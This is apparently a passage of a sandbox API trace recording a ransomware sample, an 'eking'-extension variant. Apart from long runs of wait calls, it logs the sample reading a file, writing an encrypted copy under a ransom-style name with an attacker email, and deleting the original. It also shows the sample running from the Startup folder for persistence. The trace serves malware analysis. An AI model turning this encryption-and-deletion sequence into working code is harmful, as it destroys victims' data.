(hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.631] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.632] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.633] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.633] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.633] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.805] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.805] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.805] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.805] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.805] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.805] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.806] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.807] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.808] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.809] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.810] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.811] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.812] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.813] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.814] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.815] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.816] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.817] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.818] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.818] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.818] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.818] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.818] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.818] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.819] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.820] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.821] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.822] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.823] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.824] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.825] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.826] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.827] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0166.828] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0193.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0193.958] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x36afae8 | out: lpFileSize=0x36afae8*=483328) returned 1 [0193.958] CloseHandle (hObject=0x1e8) returned 1 [0193.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 0x20 [0193.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 0x20 [0193.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0193.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0193.959] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36afab0 | out: lpNewFilePointer=0x0) returned 1 [0193.959] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36afab0 | out: lpNewFilePointer=0x0) returned 1 [0193.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x210 [0194.391] ReadFile (in: hFile=0x1e8, lpBuffer=0x39f0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36afabc, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x36afabc*=0x76000, lpOverlapped=0x0) returned 1 [0194.465] WriteFile (in: hFile=0x210, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x76010, lpNumberOfBytesWritten=0x36afaa0, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x36afaa0*=0x76010, lpOverlapped=0x0) returned 1 [0194.490] WriteFile (in: hFile=0x210, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36afaa0, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x36afaa0*=0xf2, lpOverlapped=0x0) returned 1 [0194.490] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36af810 | out: lpNewFilePointer=0x0) returned 1 [0194.490] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36af810 | out: lpNewFilePointer=0x0) returned 1 [0194.490] WriteFile (in: hFile=0x1e8, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x76000, lpNumberOfBytesWritten=0x36af81c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x36af81c*=0x76000, lpOverlapped=0x0) returned 1 [0194.505] FlushFileBuffers (hFile=0x1e8) returned 1 [0195.181] FlushFileBuffers (hFile=0x210) returned 1 [0196.038] CloseHandle (hObject=0x1e8) returned 1 [0196.039] CloseHandle (hObject=0x210) returned 1 [0196.046] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 1 [0196.055] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0xffffffff) returned 0x0 [0200.179] GetProcessHeap () returned 0x6a0000 [0200.179] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6bb698 [0200.179] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0200.179] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0200.179] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0200.179] GetProcessHeap () returned 0x6a0000 [0200.179] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 [0200.179] SetEvent (hEvent=0x198) returned 1 [0200.179] SetEvent (hEvent=0x194) returned 1 [0200.179] SetEvent (hEvent=0x19c) returned 1 [0200.179] GetProcessHeap () returned 0x6a0000 [0200.179] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x39f0020 | out: hHeap=0x6a0000) returned 1 [0200.186] GetProcessHeap () returned 0x6a0000 [0200.186] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db510 | out: hHeap=0x6a0000) returned 1 [0200.186] GetProcessHeap () returned 0x6a0000 [0200.186] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3756560 | out: hHeap=0x6a0000) returned 1 [0200.188] GetProcessHeap () returned 0x6a0000 [0200.188] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3766568 | out: hHeap=0x6a0000) returned 1 Thread: id = 68 os_tid = 0x64c Thread: id = 204 os_tid = 0x7ec Process: id = "11" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0x5fa9000" os_pid = "0x6a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x59c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0x6ac [0157.471] GetProcessHeap () returned 0x5f0000 [0157.471] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x30) returned 0x601ba8 [0157.471] GetProcessHeap () returned 0x5f0000 [0157.471] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x3400) returned 0x6066d0 [0157.475] GetProcessHeap () returned 0x5f0000 [0157.475] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x300) returned 0x609ad8 [0157.475] GetProcessHeap () returned 0x5f0000 [0157.476] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6019d0 [0157.476] GetTickCount () returned 0x11339a7 [0157.476] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x2af930, cchData=32 | out: lpLCData="\x03") returned 16 [0157.477] GetProcessHeap () returned 0x5f0000 [0157.477] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x603f48 [0157.477] GetProcessHeap () returned 0x5f0000 [0157.477] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20a) returned 0x609e18 [0157.478] GetProcessHeap () returned 0x5f0000 [0157.478] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20a) returned 0x60a030 [0157.478] GetProcessHeap () returned 0x5f0000 [0157.478] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20a) returned 0x60a248 